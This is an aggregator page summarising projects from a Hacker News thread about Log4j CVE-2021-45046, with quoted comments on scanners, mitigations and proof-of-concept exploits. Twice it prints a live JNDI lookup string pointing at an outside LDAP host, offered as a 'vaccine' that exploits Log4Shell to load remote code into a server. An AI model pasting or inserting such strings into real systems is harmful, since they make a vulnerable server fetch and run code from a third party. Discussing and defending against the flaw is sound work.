Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)

This page summarizes the projects mentioned and recommended in the original post on news.ycombinator.com

Our great sponsors
  • InfluxDB - Power Real-Time Data Analytics at Scale
  • WorkOS - The modern identity platform for B2B SaaS
  • SaaSHub - Software Alternatives and Reviews
  • lunasec

    LunaSec - Dependency Security Scanner that automatically notifies you about vulnerabilities like Log4Shell or node-ipc in your Pull Requests and Builds. Protect yourself in 30 seconds with the LunaTrace GitHub App: https://github.com/marketplace/lunatrace-by-lunasec/

    We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.

    ${jndi:ldap://hotpatch.log4shell.com:1389/a}

    If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.

    Source code is on GitHub here[0][1] if you want to host it yourself.

    (This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)

    0: https://github.com/lunasec-io/lunasec/releases/

    1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...

    2: https://github.com/Cybereason/Logout4Shell

  • log4jshell-pdf

    The purpose of this project is to demonstrate the Log4Shell exploit with Log4J vulnerabilities using PDF as delivery channel

    I thought I was in the clear, then I remembered we have a small java binary that handles conversion of PDF to images. Turns out, Apache PdfBox depends on Log4j and can be compromised by feeding any malicious PDF into it.

    How many products use PdfBox right now? This github POC link is not even an hour old...

    https://github.com/eelyvy/log4jshell-pdf

  • InfluxDB

    Power Real-Time Data Analytics at Scale. Get real-time insights from all types of time series data with InfluxDB. Ingest, query, and analyze billions of data points in real-time with unbounded cardinality.

  • Logout4Shell

    Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell

    We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.

    ${jndi:ldap://hotpatch.log4shell.com:1389/a}

    If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.

    Source code is on GitHub here[0][1] if you want to host it yourself.

    (This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)

    0: https://github.com/lunasec-io/lunasec/releases/

    1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...

    2: https://github.com/Cybereason/Logout4Shell

  • Apache Log4j 2

    Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.

    Insightful conversations at https://github.com/apache/logging-log4j2/pull/608 - the original vulnerability patch.

    Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the vulnerability would _still_ want to do LDAP lookups during logging, even when restricted to localhost.

  • log4shell-tools

    Tool that runs a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046

    I have a feeling this vulnerability is going to be with us for years. Shameless plug: I built a tool that assists in detecting whether you're vulnerable to this or the previous CVE: https://log4shell.tools. Just enter the JNDI URI it gives you anywhere you suspect it ends up causing a message lookup in log4j. If log4j does so much as a DNS lookup, this tool will tell you about it.

  • log4j2-without-jndi

    Discontinued log4j2-core JAR w/o JndiLookup.class

    What about this patch https://github.com/zhangyoufu/log4j2-without-jndi/blob/maste... of removing JndiLookup.class , seems still right

  • ysoserial

    A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

    Exactly. eg. https://github.com/frohoff/ysoserial#usage

    Note the classes aren't at fault or doing anything wrong (even though you could imagine other mitigations they could use), they are just conveniently there to use if you have a vulnerability that lets you de-serialize untrusted data.

  • WorkOS

    The modern identity platform for B2B SaaS. The APIs are flexible and easy-to-use, supporting authentication, user identity, and complex enterprise features like SSO and SCIM provisioning.

  • log4shell-ldap

    A tool for checking log4shell vulnerability mitigations

    I'm sure they mean well, but I'd highly recommend to every user to be very careful about using services like this.

    Do you know whether you can trust them? Is their operations mature enough for handling the attacks they are guaranteed to receive? After all, a system receiving requests by folks suspecting they are vulnerable, makes a highly attractive target itself. In fact, I wouldn't be surprised if we see services of this kind provided by malicious actors.

    Really, people should just update, or only use offline tools for analysis and mitigation like [1] which they can audit and run locally.

    [1] https://github.com/jerrinot/log4shell-ldap/

NOTE: The number of mentions on this list indicates mentions on common posts plus user suggested alternatives. Hence, a higher number means a more popular project.

Suggest a related project

Related posts